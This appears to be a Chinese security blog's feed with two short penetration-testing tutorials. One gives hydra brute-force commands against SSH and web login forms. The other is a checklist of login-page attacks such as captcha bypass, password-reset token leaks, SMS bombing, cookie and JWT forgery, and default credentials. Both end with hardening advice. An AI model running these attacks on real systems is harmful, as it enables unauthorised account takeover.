https://souljian.cn/tags/%E7%88%86%E7%A0%B4/Recent content in 爆破 on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088124/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088124/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>弱口令爆破只在授权测试环境进行。对非授权目标爆破可能触犯法律。</p> <h2 id="一hydra-协议矩阵">一、hydra 协议矩阵 </h2><img src="https://souljian.cn/img/hydra-bruteforce.svg" alt="hydra 协议支持矩阵" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">SSH · FTP · HTTP-POST · RDP · SMTP · Telnet · MySQL · SMB · RSYNC </span></span></code></pre></td></tr></table> </div> </div><h2 id="二常用命令">二、常用命令 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># SSH 爆破</span> </span></span><span class="line"><span class="cl">hydra -l root -P rockyou.txt ssh://192.168.1.100 </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># HTTP POST 表单</span> </span></span><span class="line"><span class="cl">hydra -l admin -P pass.txt http-post-form <span class="s2">&#34;http://target/login.php:user=^USER^&amp;pass=^PASS^:F=login failed&#34;</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 多线程</span> </span></span><span class="line"><span class="cl">hydra -l admin -P pass.txt ssh://target -t <span class="m">64</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 防断连</span> </span></span><span class="line"><span class="cl">hydra -l admin -P pass.txt ssh://target -w <span class="m">30</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># 输出保存</span> </span></span><span class="line"><span class="cl">hydra -l admin -P pass.txt ssh://target -o result.log </span></span></code></pre></td></tr></table> </div> </div><h2 id="三防御加固">三、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">SSH：关闭密码登录 · 仅密钥 · fail2ban </span></span><span class="line"><span class="cl">Web：验证码 · 登录频率限制 · 账户锁定策略 </span></span><span class="line"><span class="cl">密码：最低8位 · 大小写+数字+特殊字符 </span></span><span class="line"><span class="cl">监控：审计登录日志 · 异常登录告警 </span></span></code></pre></td></tr></table> </div> </div><h2 id="四小结">四、小结 </h2><p>hydra 支持 50+ 协议爆破。防御核心是<strong>强密码策略 + 账户锁定 + 行为监控</strong>，三者缺一不可。</p>https://souljian.cn/p/751088188/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088188/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>登录窗口测试只在授权测试环境进行。</p> <h2 id="一登录窗口攻击思路">一、登录窗口攻击思路 </h2><img src="https://souljian.cn/img/login-window-attack.svg" alt="登录窗口攻击思路" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① 爆破 → ② 验证码 → ③ 密码重置 → ④ 越权 → ⑤ Cookie 伪造 </span></span></code></pre></td></tr></table> </div> </div><h2 id="二攻击方法">二、攻击方法 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span><span class="lnt">6 </span><span class="lnt">7 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">弱口令爆破：hydra / burp intruder </span></span><span class="line"><span class="cl">验证码识别：OCR / 打码平台 / 绕过 </span></span><span class="line"><span class="cl">密码重置：Token 泄露 / 时间戳碰撞 </span></span><span class="line"><span class="cl">短信轰炸：无限请求验证码接口 </span></span><span class="line"><span class="cl">越权：改 Cookie 中用户 ID </span></span><span class="line"><span class="cl">Cookie 伪造：JWT / 签名伪造 </span></span><span class="line"><span class="cl">默认账号：admin/admin123 </span></span></code></pre></td></tr></table> </div> </div><h2 id="三防御加固">三、防御加固 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">强密码策略 · 账户锁定 · 验证码 </span></span><span class="line"><span class="cl">日志审计 · 异常登录告警 </span></span></code></pre></td></tr></table> </div> </div><h2 id="四小结">四、小结 </h2><p>登录窗口是安全测试的必检点。<strong>强密码 + 账户锁定 + 行为监控</strong>是防御核心。</p>